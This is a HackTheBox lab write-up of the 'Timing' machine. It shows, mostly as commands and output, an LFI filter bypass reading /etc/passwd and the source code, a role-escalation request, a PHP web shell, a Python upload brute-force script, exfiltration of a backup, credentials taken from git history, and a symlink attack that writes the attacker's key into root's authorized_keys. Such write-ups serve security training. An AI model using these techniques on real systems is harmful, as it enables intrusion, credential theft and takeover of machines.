Timing - [HTB]

Cover Image for Timing - [HTB]
Marmeus
Marmeus

Table of Contents

    Introduction

    Timing is a medium Linux machine from HackTheBox where you will have to find an LFI in order to analyse the web source code, finding a programmer failure that will allow you to upload a web shell. Then, enumerating the machines, you will find a git repository with different credentials on its versions. Finally, you will have to use symbolic links in order to overwrite the root's authorised keys file.

    Enumeration

    Let's start scanning all opened ports in the box with Nmap.

    kali@kali:~/Documents/HTB/Timing$ nmap -vv -sS -p- -n -T5 -oN AllPorts.txt 10.10.11.135
    Warning: 10.10.11.135 giving up on port because retransmission cap hit (2).
    Nmap scan report for 10.10.11.135
    Host is up, received echo-reply ttl 63 (0.045s latency).
    Scanned at 2021-12-24 05:38:13 EST for 51s
    Not shown: 65533 closed ports
    Reason: 65533 resets
    PORT   STATE SERVICE REASON
    22/tcp open  ssh     syn-ack ttl 63
    80/tcp open  http    syn-ack ttl 63
    
    Read data files from: /usr/bin/../share/nmap
    # Nmap done at Fri Dec 24 05:39:04 2021 -- 1 IP address (1 host up) scanned in 51.30 seconds

    Then, we continue with a deeper scan of every opened port, getting more information about each service.

    kali@kali:~/Documents/HTB/Timing$ sudo nmap -sC -sV -n -T5 -oN PortsDepth.txt -p 22,80 10.10.11.135
    Starting Nmap 7.91 ( https://nmap.org ) at 2021-12-24 05:41 EST
    Nmap scan report for 10.10.11.135
    Host is up (0.043s latency).
    
    PORT   STATE SERVICE VERSION
    22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
    | ssh-hostkey: 
    |   2048 d2:5c:40:d7:c9:fe:ff:a8:83:c3:6e:cd:60:11:d2:eb (RSA)
    |   256 18:c9:f7:b9:27:36:a1:16:59:23:35:84:34:31:b3:ad (ECDSA)
    |_  256 a2:2d:ee:db:4e:bf:f9:3f:8b:d4:cf:b4:12:d8:20:f2 (ED25519)
    80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
    | http-cookie-flags: 
    |   /: 
    |     PHPSESSID: 
    |_      httponly flag not set
    |_http-server-header: Apache/2.4.29 (Ubuntu)
    | http-title: Simple WebApp
    |_Requested resource was ./login.php
    Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
    
    Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
    Nmap done: 1 IP address (1 host up) scanned in 9.68 seconds

    Having a look at the web page and its source code, there is nothing is interesting.

    Timing web page

    Furthermore, enumerating files, we can see that image.php is the only file with size 0 and doesn't redirect us to the login page. Maybe, it requires a parameter to show information.

    kali@kali:~/Documents/HTB/Timing$ gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -k -x asp,aspx,html,php,txt,py,bak,doc,js -t 40 -o GoBuster.txt -u http://10.10.11.135/
    ===============================================================
    Gobuster v3.1.0
    by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
    ===============================================================
    [+] Url:                     http://10.10.11.135/
    [+] Method:                  GET
    [+] Threads:                 40
    [+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
    [+] Negative Status codes:   404
    [+] User Agent:              gobuster/3.1.0
    [+] Extensions:              py,bak,js,asp,aspx,html,php,txt,doc
    [+] Timeout:                 10s
    ===============================================================
    2021/12/24 05:39:31 Starting gobuster in directory enumeration mode
    ===============================================================
    /profile.php          (Status: 302) [Size: 0] [--> ./login.php]
    /index.php            (Status: 302) [Size: 0] [--> ./login.php]
    /images               (Status: 301) [Size: 313] [--> http://10.10.11.135/images/]
    /image.php            (Status: 200) [Size: 0]                                    
    /header.php           (Status: 302) [Size: 0] [--> ./login.php]                  
    /login.php            (Status: 200) [Size: 5609]                                 
    /footer.php           (Status: 200) [Size: 3937]                                 
    /upload.php           (Status: 302) [Size: 0] [--> ./login.php]                  
    /css                  (Status: 301) [Size: 310] [--> http://10.10.11.135/css/]   
    /js                   (Status: 301) [Size: 309] [--> http://10.10.11.135/js/]    
    /logout.php           (Status: 302) [Size: 0] [--> ./login.php] 

    With Ffuz we can obtain the required parameter img.

    kali@kali:~/Documents/HTB/Timing$ ffuf -w /usr/share/wordlists/wfuzz/general/common.txt -t 60 -u http://10.10.11.135/image.php?FUZZ=/etc/passwd
    
            /'___\  /'___\           /'___\       
           /\ \__/ /\ \__/  __  __  /\ \__/       
           \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
            \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
             \ \_\   \ \_\  \ \____/  \ \_\       
              \/_/    \/_/   \/___/    \/_/       
    
           v1.3.1
    ________________________________________________
    
     :: Method           : GET
     :: URL              : http://10.10.11.135/image.php?FUZZ=/etc/passwd
     :: Wordlist         : FUZZ: /usr/share/wordlists/wfuzz/general/common.txt
     :: Follow redirects : false
     :: Calibration      : false
     :: Timeout          : 10
     :: Threads          : 60
     :: Matcher          : Response status: 200,204,301,302,307,401,403,405
     :: Filter           : Response size: 0
    ________________________________________________
    
    img                     [Status: 200, Size: 25, Words: 3, Lines: 1]
    :: Progress: [951/951] :: Job [1/1] :: 1342 req/sec :: Duration: [0:00:05] :: Errors: 0 ::

    Trying to access the URL appears an alert.

    kali@kali:~/Documents/HTB/Timing$ curl http://10.10.11.135/image.php?img=/etc/passwd 
    Hacking attempt detected!

    This can be easily bypassed by using the php filter.

    kali@kali:~/Documents/HTB/Timing$ curl -s http://10.10.11.135//image.php?img=php://filter/convert.base64-encode/resource=/etc/passwd | base64 -d
    root:x:0:0:root:/root:/bin/bash
    daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
    bin:x:2:2:bin:/bin:/usr/sbin/nologin
    sys:x:3:3:sys:/dev:/usr/sbin/nologin
    sync:x:4:65534:sync:/bin:/bin/sync
    games:x:5:60:games:/usr/games:/usr/sbin/nologin
    man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
    lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
    mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
    news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
    uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
    proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
    www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
    backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
    list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
    irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
    gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
    nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
    systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
    systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
    syslog:x:102:106::/home/syslog:/usr/sbin/nologin
    messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
    _apt:x:104:65534::/nonexistent:/usr/sbin/nologin
    lxd:x:105:65534::/var/lib/lxd/:/bin/false
    uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
    dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
    landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
    pollinate:x:109:1::/var/cache/pollinate:/bin/false
    sshd:x:110:65534::/run/sshd:/usr/sbin/nologin
    mysql:x:111:114:MySQL Server,,,:/nonexistent:/bin/false
    aaron:x:1000:1000:aaron:/home/aaron:/bin/bash
    

    Using "aaron" as username and password we can access the web page.

    Aaron credentials

    As we can see we are logged as user 2, but the only thing we can do is edit our profile.

    Edit profile

    Exploitation 1

    Using the LFI in order to analyse the web source code, we can see that in the file profile_update.php we can update our role which didn't appear in the profile form.

    curl http://10.10.11.135//image.php?img=php://filter/convert.base64-encode/resource=profile_update.php | base64 -d 
    
    [...]
       if ($user !== false) {                                                                     
            ini_set('display_errors', '1');
            ini_set('display_startup_errors', '1');
            error_reporting(E_ALL);
    
            $firstName = $_POST['firstName'];
            $lastName = $_POST['lastName']; 
            $email = $_POST['email'];
            $company = $_POST['company'];
            $role = $user['role'];
    
            if (isset($_POST['role'])) {
                $role = $_POST['role'];
                $_SESSION['role'] = $role;
        }
    [...]

    Looking further we can see that in the file upload.php appears and admin_auth_check.php.

    kali@kali:~/Documents/HTB/Timing$ curl http://10.10.11.135//image.php?img=php://filter/convert.base64-encode/resource=upload.php 2>/dev/null | base64 -d                                                                         
    <?php   
    include("admin_auth_check.php");
                                           
    $upload_dir = "images/uploads/";
    [...]

    This file is checking if we have set our role to 1.

    kali@kali:~/Documents/HTB/Timing$ curl -s http://10.10.11.135//image.php?img=php://filter/convert.base64-encode/resource=admin_auth_check.php | base64 -d 
    <?php
    
    include_once "auth_check.php";
    
    if (!isset($_SESSION['role']) || $_SESSION['role'] != 1) {
        echo "No permission to access this panel!";
        header('Location: ./index.php');
        die();
    }
    
    ?>

    To update our role, we only need to intercept "Edit profile" request and add role=1 at the end.

    POST /profile_update.php HTTP/1.1
    Host: 10.10.11.135
    User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
    Accept: */*
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    Content-type: application/x-www-form-urlencoded
    Content-Length: 52
    Origin: http://10.10.11.135
    Connection: close
    Referer: http://10.10.11.135/profile.php
    Cookie: PHPSESSID=l925ka2ijpn37gbb7k2cn4s03f
    
    firstName=test&lastName=test&email=test&company=test&role=1
    

    Now, we can upload the images.

    image-20211224130808218

    Exploitation 2

    However, we do not have access to the /images/uploads/ directory, so we need to know the exact name to access it.

    kali@kali:~$ curl -L http://10.10.11.135/images/uploads/
    <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
    <html><head>
    <title>403 Forbidden</title>
    </head><body>
    <h1>Forbidden</h1>
    <p>You don't have permission to access this resource.</p>
    <hr>
    <address>Apache/2.4.29 (Ubuntu) Server at 10.10.11.135 Port 80</address>

    If we keep analysing the upload.php code meticulously, we can see the md5 parameters. The variable $file_hash is between single quotes so that PHP will interpret that as a string, not a variable. Hence, the md5 will always be a combination of "$file_hash" + <TIMESTAMP>.

    Furthermore, the code only checks the file's extension, so we can upload PHP code with the jpg extension that will later be interpreted thanks to the LFI.

    <?php   
    include("admin_auth_check.php");
                                           
    $upload_dir = "images/uploads/";                                                                                                                              
    
    if (!file_exists($upload_dir)) {
        mkdir($upload_dir, 0777, true);
    }
    
    $file_hash = uniqid();
    
    $file_name = md5('$file_hash' . time()) . '_' . basename($_FILES["fileToUpload"]["name"]);
    $target_file = $upload_dir . $file_name;
    $error = "";
    $imageFileType = strtolower(pathinfo($target_file, PATHINFO_EXTENSION));
    
    if (isset($_POST["submit"])) {
        $check = getimagesize($_FILES["fileToUpload"]["tmp_name"]);
        if ($check === false) {
            $error = "Invalid file";
        }
    }
    
    // Check if file already exists
    if (file_exists($target_file)) {
        $error = "Sorry, file already exists.";
    }
    
    if ($imageFileType != "jpg") {
        $error = "This extension is not allowed.";
    }
    
    if (empty($error)) {
        if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
            echo "The file has been uploaded.";
        } else {
            echo "Error: There was an error uploading your file.";
        }
    } else {
        echo "Error: " . $error;
    }
    ?>
    
    

    Because the Apache server sends its date in the response headers, we can create a python script that will upload a file and then brute force the filename thanks to the response time to obtain the URL of our file.

    Note: Do not forget to change your PHPSESSID.

    #sws.jpg
    # <?php system($_GET['cmd']); ?>
    
    import requests
    from dateutil import parser
    import hashlib
    
    UPLOAD_DIR = "images/uploads/"
    FILENAME = "sws.jpg"  
    URL="http://10.10.11.135/upload.php"
    
    
    files = {'fileToUpload': open(FILENAME,'rb')}
    cookies = {'PHPSESSID':'<YOUR_PHPSSEID>'} 
    r = requests.post(URL,files=files, cookies=cookies)
    
    date=r.headers['date']
    date = parser.parse(date)
    timestamp=int(date.timestamp())
    print(timestamp)
    # Going to the past 15 seconds
    timestamp = timestamp - 15
    
    for i in range(0, 30):
        seed = '$file_hash'+str(timestamp)
        filename  = hashlib.md5(seed.encode()).hexdigest()+'_'+FILENAME
        print(filename)
        url = "http://10.10.11.135:80/images/uploads/"+filename
        status = requests.get(url).status_code
        if status != 404:
            print(url)
            exit(0)
        timestamp = timestamp +i 

    Once executed the script, we obtain where our web shell is located.

    kali@kali:~/Documents/HTB/Timing$ python3 fileBruteForce.py 
    1640646022
    18193e0007abbf23983397dddc0a7183_sws.jpg
    18193e0007abbf23983397dddc0a7183_sws.jpg
    d18f43ee806a457c51a5bd07d7596ca3_sws.jpg
    6951071c4215d2ff6f3bcec40ed7edd8_sws.jpg
    d0b81c0b68f99ad648db4332c92db759_sws.jpg
    177078881d8b85a467020bc363607763_sws.jpg
    ed2697b4be1a51fd5fc11428881b5cf1_sws.jpg
    http://10.10.11.135:80/images/uploads/ed2697b4be1a51fd5fc11428881b5cf1_sws.jpg
    

    However, at first glance, it doesn't execute.

    kali@kali:~/Documents/HTB/Timing$ curl "http://10.10.11.135:80/images/uploads/ac651b5d6059ced62efac274033283cc_sws.jpg?cmd=id"
    <?php system($_GET['cmd']); ?>

    So, we need to use the LFI to make it work.

    kali@kali:~/Documents/HTB/Timing$ curl "http://10.10.11.135/image.php?img=images/uploads/ac651b5d6059ced62efac274033283cc_sws.jpg&cmd=id"
    uid=33(www-data) gid=33(www-data) groups=33(www-data)

    Because some iptables rules reject all traffic for the apache user (You know that once you have become root on the machine), we can not create reverse shells, and the enumeration must be through the web shell.

    There is a backup file /opt/source-files-backup.zip that we can download with the following commands.

    curl "http://10.10.11.135/image.php?img=images/uploads/ac651b5d6059ced62efac274033283cc_sws.jpg&cmd=base64+/opt/source-files-backup.zip" > /tmp/b64; base64 -d /tmp/b64 > source-files-backup.zip
    kali@kali:~/Documents/HTB/Timing/$ unzip source-files-backup.zip
    kali@kali:~/Documents/HTB/Timing/backup$ ls -la
    total 39
    drwxrwx--- 1 root vboxsf 4096 Dec 27 17:58 .
    drwxrwx--- 1 root vboxsf 4096 Dec 28 06:00 ..
    -rwxrwx--- 1 root vboxsf  200 Dec 27 17:58 admin_auth_check.php
    -rwxrwx--- 1 root vboxsf  373 Dec 27 17:58 auth_check.php
    -rwxrwx--- 1 root vboxsf 1268 Dec 27 17:58 avatar_uploader.php
    drwxrwx--- 1 root vboxsf    0 Dec 27 17:58 css
    -rwxrwx--- 1 root vboxsf   96 Dec 27 17:58 db_conn.php
    -rwxrwx--- 1 root vboxsf 3937 Dec 27 17:58 footer.php
    drwxrwx--- 1 root vboxsf    0 Dec 27 17:58 .git
    -rwxrwx--- 1 root vboxsf 1498 Dec 27 17:58 header.php
    -rwxrwx--- 1 root vboxsf  507 Dec 27 17:58 image.php
    drwxrwx--- 1 root vboxsf    0 Dec 27 17:58 images
    -rwxrwx--- 1 root vboxsf  188 Dec 27 17:58 index.php
    drwxrwx--- 1 root vboxsf    0 Dec 27 17:58 js
    -rwxrwx--- 1 root vboxsf 2074 Dec 27 17:58 login.php
    -rwxrwx--- 1 root vboxsf  113 Dec 27 17:58 logout.php
    -rwxrwx--- 1 root vboxsf 3041 Dec 27 17:58 profile.php
    -rwxrwx--- 1 root vboxsf 1740 Dec 27 17:58 profile_update.php
    -rwxrwx--- 1 root vboxsf  984 Dec 27 17:58 upload.php

    Because it has a .git folder we can enumerate its commits, discovering the database's password differs from the init commit and using the latter we can log in as aaron through SSH, obtaining the user flag.

    kali@kali:~/Documents/HTB/Timing/backup$ git log --oneline
    16de269 (HEAD -> master) db_conn updated
    e4e2146 init
    
    kali@kali:~/Documents/HTB/Timing/backup$ cat db_conn.php 
    <?php
    $pdo = new PDO('mysql:host=localhost;dbname=app', 'root', '4_V3Ry_l0000n9_p422w0rd');
    
    
    kali@kali:~/Documents/HTB/Timing/backup$ git checkout -f  e4e2146 
    
    kali@kali:~/Documents/HTB/Timing/backup$ cat db_conn.php                        
    <?php
    $pdo = new PDO('mysql:host=localhost;dbname=app', 'root', 'S3cr3t_unGu3ss4bl3_p422w0Rd');

    Privilege Escalation

    Aaron is able to execute a bash script as root which executes a .jar file that we can not analyse because is under the root directory.

    aaron@timing:~$ sudo -l
    Matching Defaults entries for aaron on timing:
        env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
    
    User aaron may run the following commands on timing:
        (ALL) NOPASSWD: /usr/bin/netutils
        
    aaron@timing:~$ cat /usr/bin/netutils
    #! /bin/bash
    java -jar /root/netutils.jar
    

    Using the HTTP options it downloads and saves the file as root.

    aaron@timing:~$ sudo /usr/bin/netutils 
    netutils v0.1                                                  
    Select one option:                                                              
    [0] FTP                                                            
    [1] HTTP                                                       
    [2] Quit                                                           
    Input >> 1                                                        
    Enter Url: http://10.10.14.177/hola.html
    Initializing download: http://10.10.14.177/hola.html
    File size: 7 bytes                     
    Opening output file hola.html
    Server unsupported, starting from scratch with one connection.
    Starting download                      
    
    Downloaded 7 byte in 0 seconds. (0.03 KB/s)
    
    aaron@timing:~$ ls -l
    total 16
    -rw-r--r-- 1 root  root     7 Dec 27 23:59 hola.html
    -rw-r----- 1 root  aaron   33 Dec 27 23:41 user.txt

    Hence, if we create a symbolic link to the root's authorized keys it will overwrite it.

    aaron@timing:~$ ln -s  /root/.ssh/authorized_keys id_rsa.pub
    aaron@timing:~$ ls -l
    total 16
    -rw-r--r-- 1 root  root     7 Dec 27 23:59 hola.html                           
    lrwxrwxrwx 1 aaron aaron   26 Dec 28 00:00 id_rsa.pub -> /root/.ssh/authorized_keys
    -rw-r----- 1 root  aaron   33 Dec 27 23:41 user.txt 

    In order to make it work, create an SSH key pair and start a web server.

    kali@kali:/tmp/pruebas$ ssh-keygen                                             
    Generating public/private rsa key pair.                                        
    Enter file in which to save the key (/home/kali/.ssh/id_rsa): id_rsa           
    Enter passphrase (empty for no passphrase):                                    
    Enter same passphrase again:                                                   
    Your identification has been saved in id_rsa                                   
    Your public key has been saved in id_rsa.pub                                   
    The key fingerprint is:                                                        
    SHA256:JNJY8AGHcadlvCocZWHvgp6raj7oAb80Fj+miR1x9Ho kali@kali                   
    The key's randomart image is:                                                  
    +---[RSA 3072]----+                                                            
    |    +=Bo+        |                                                            
    |    .OoB.        |                                                            
    |    +o= o.       |                                                            
    |   ..+ +.        |
    |. o.o.o.S        |
    |.. *oo..         |
    |..* B.E          |
    |.B.B +           |
    |*+B..            |
    +----[SHA256]-----+
    kali@kali:/tmp/pruebas$ ls
    hola.html  id_rsa  id_rsa.pub
    kali@kali:/tmp/pruebas$ python -m SimpleHTTPServer 80 
    Serving HTTP on 0.0.0.0 port 80 ...
    
    

    Then access to the public key using the netutils tools.

    netutils v0.1
    Select one option:
    [0] FTP
    [1] HTTP
    [2] Quit
    Input >> 1
    Enter Url: http://10.10.14.177/id_rsa.pub
    Initializing download: http://10.10.14.177/id_rsa.pub
    File size: 563 bytes
    Opening output file id_rsa.pub
    Server unsupported, starting from scratch with one connection.
    Starting download
    

    Finally, once downloaded you will be able to access the machine as root.

    kali@kali:/tmp/pruebas$ ssh -i id_rsa root@10.10.11.135
    root@timing:~# cat /root/root.txt 
    [CENSORED]